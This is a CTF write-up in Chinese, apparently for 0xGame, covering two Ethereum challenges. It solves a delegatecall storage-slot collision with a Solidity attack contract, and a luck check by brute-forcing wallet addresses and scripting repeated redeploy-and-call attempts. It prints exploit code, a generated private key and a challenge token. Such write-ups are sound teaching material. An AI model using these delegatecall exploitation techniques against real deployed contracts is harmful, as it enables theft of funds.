警告
本文最后更新于 2024-02-13,文中内容可能已过时。
week3
0xcallsino
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
contract CasinoBackstage {
uint number;
uint target;
function setnumber(uint _number) public {
number = _number;
target = uint(keccak256(abi.encodePacked(block.timestamp, block.difficulty, msg.sender))) % 114514;
}
}
contract callsino {
address casinoaddr;
uint target = 1;
uint number;
constructor(address _casinoaddr) {
casinoaddr = _casinoaddr;
}
function setcasino(uint _number) external {
casinoaddr.delegatecall(abi.encodeWithSignature("setnumber(uint256)", _number));
}
function isSolved() external view returns (bool) {
require(number == target, "You loss!");
return true;
}
}
|
这里考的是delegatecall的知识
在调用delegatecall
的时候,函数的操作对象会以操作的发出者为主体
并且delegatecall
操作数据的时候,是按照Storage
的slot
位进行操作的
而不是按照变量名操作的
分析这题的CasinoBackstage
和callsino
两个contract
可以发现callsino
的address casinoaddr
刚好和CasinoBackstage
的number
都在slot0
setnumber
方法刚好修改的就是slot0
的值
也就是说我调用 casinoaddr.delegatecall
修改的是 delegatecall
所调用的合约的值的位置
这样的话,只需要先部署一个攻击合约,使他的setnumber
作用是修改target
和number
为相同值
然后调用setnumber
,把当前的address casinoaddr
改为我刚部署的攻击合约
再调用一次setnumber
number == target
的条件就满足了
攻击合约
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
contract Attack {
address casinoaddr;
uint number;
uint target;
function setnumber(uint _number) public {
number = _number;
target = _number;
}
}
|
然后用remix进行部署,部署完会发现调用setcasino()
的时候会修改失败
原因是remix发送的数据格式有问题
可以有两个选择:
方法一
用solidity把地址写进去
1
2
3
4
|
function hack() public {
callsino ca = callsino(题目合约地址);
ca.setcasino((uint(uint160(address(攻击合约地址)))));
}
|
方法二
或者用web3.py/web3.js
写脚本进行交互
我这里为了省事,没有用Web3.py
用了一个为CTF优化过的基于Web3的库 cheb3
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
from cheb3 import Connection
from cheb3.utils import compile_file
entrant_abi, entrant_bytecode = compile_file("callsino.sol", "callsino", "0.8.9")['callsino']
conn = Connection('http://49.235.117.196:8545')
existing_account = conn.account("私钥")
target_address = "题目合约地址"
entrant_contract = conn.contract(
existing_account,
address=target_address,
abi=entrant_abi
)
entrant_contract.functions.setcasino(攻击合约地址).send_transaction()
from binascii import hexlify
for i in range(3):
print(hexlify(conn.get_storage_at(target_address,i)))
entrant_contract.functions.setcasino(0x1).send_transaction()
for i in range(3):
print(hexlify(conn.get_storage_at(target_address,i)))
|
也是一样的
目的都是改address casinoaddr
改为刚部署的攻击合约
week4
[Week 4] TestYourLuck
题目源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Void {
constructor() {}
}
contract TestLuck {
address payable owner;
bool solved;
constructor(address payable _owner) {
owner = _owner;
}
modifier OnlyYou {
require(uint256(uint160(msg.sender)) % 50 == 20, "NoNo!!");
_;
}
function makevoid() external {
Void v = new Void();
}
function checkyourluck() external OnlyYou {
Void v = new Void();
if(uint256(uint160(address(v))) % 50 == 30) {
solved = true;
}
else {
selfdestruct(owner);
}
}
function isSolved() external returns (bool) {
return solved;
}
}
|
要求是通过checkyourluck
函数,得先满足OnlyYou
这个modifier
先得让你的钱包地址$mod 50$后为20
可以考虑纯碰运气,手工生成钱包地址,50分之一的几率
我去找了个生成钱包地址的python实现
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
from ecdsa import SigningKey, SECP256k1
import sha3
def checksum_encode(addr_str): # Takes a hex (string) address as input
keccak = sha3.keccak_256()
out = ''
addr = addr_str.lower().replace('0x', '')
keccak.update(addr.encode('ascii'))
hash_addr = keccak.hexdigest()
for i, c in enumerate(addr):
if int(hash_addr[i], 16) >= 8:
out += c.upper()
else:
out += c
return '0x' + out
while True:
keccak = sha3.keccak_256()
priv = SigningKey.generate(curve=SECP256k1)
pub = priv.get_verifying_key().to_string()
keccak.update(pub)
address = keccak.hexdigest()[24:]
if int(address,16) % 50 == 20:
break
print("Private key:", priv.to_string().hex())
print("Address: ", checksum_encode(address))
|
1
2
|
Private key: 209fb3f347f2df4cf1798cd98c695f9c86fee6148def12ebe87b3cd1cb0416e2
Address: 0xb6598521e39b76f36a8E4213FF89995527BEE004
|
第二步就是让uint256(uint160(address(v))) % 50 == 30
通过
这个还是碰运气,50分之一的几率
不过由于不通过的话,合约会自毁,所以每次还需要先部署合约
写个python脚本进行交互,先用pwntools去交互部署合约
sleep(10)是因为合约需要部署在新区块上,部署到网络上需要时间
然后再调用checkyourluck
函数
get_storage_at
是我用来调试的
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
|
from cheb3 import Connection
from cheb3.utils import compile_file
from binascii import hexlify
from pwn import *
entrant_abi, entrant_bytecode = compile_file("TestLuck.sol", "TestLuck", "0.8.9")['TestLuck']
conn = Connection('http://49.235.117.196:8545')
# context.log_level = 'debug'
token = b"v4.local.K1koAEUV8vK60eD7ZYsdWmxp8st5wTc1A6wfEUiHQhLARoNRQ2WP15jTWntwwwFS54eU8_Bxaqwi_s7tJekzySmB06U6s9w4g2AglgHgN4urjf1yC1nWAsOD3KGpPrS9wqjwJK_oDBrJW4Jd4XixwWuveFR_AEYo4F6IL50VwY0v0g.VGVzdEx1Y2s"
def choice_2():
r = remote("49.235.117.196", 20000)
r.recvuntil(b":")
r.sendline(b"2")
r.sendline(token)
x = r.recvline()
contract_address = x.decode()[45:-1]
print("合约地址: ",contract_address)
r.close()
return contract_address
def choice_3():
r = remote("49.235.117.196", 20000)
r.recvuntil(b":")
r.sendline(b"3")
r.sendline(token)
x = r.recvline()
r.close()
return x
existing_account = conn.account("0x209fb3f347f2df4cf1798cd98c695f9c86fee6148def12ebe87b3cd1cb0416e2")
for i in range(50):
target_address = choice_2()
sleep(10)
entrant_contract = conn.contract(
existing_account, # specified the signer
address=target_address,
abi=entrant_abi
)
for i in range(2):
print(hexlify(conn.get_storage_at(target_address,i)))
entrant_contract.functions.checkyourluck().send_transaction()
for i in range(2):
print(hexlify(conn.get_storage_at(target_address,i)))
returned = choice_3()
if b'0xGame{' in returned:
print(returned)
break
|